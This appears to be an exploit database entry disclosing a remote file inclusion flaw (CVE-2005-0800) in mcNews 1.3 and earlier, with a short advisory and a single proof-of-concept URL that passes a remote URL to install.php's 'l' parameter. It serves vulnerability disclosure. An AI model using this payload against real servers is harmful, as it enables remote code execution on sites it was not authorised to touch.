McNews 1.x - 'install.php' Arbitrary File Inclusion

Author: Jonathan Whiteley
type: webapps
platform: php
port: 
date_added: 2005-03-17 
date_updated: 2013-05-06 
verified: 1 
codes: CVE-2005-0800;OSVDB-14887 
tags: 
aliases:  
screenshot_url:  
application_url: 

source: https://www.securityfocus.com/bid/12835/info

mcNews is reportedly affected by a remote file include vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input to the 'install.php' script.

This issue is reported to affect mcNews versions 1.3 and prior.

http://www.example.com/path/to/mcnews/admin/install.php?l=http://www.example.com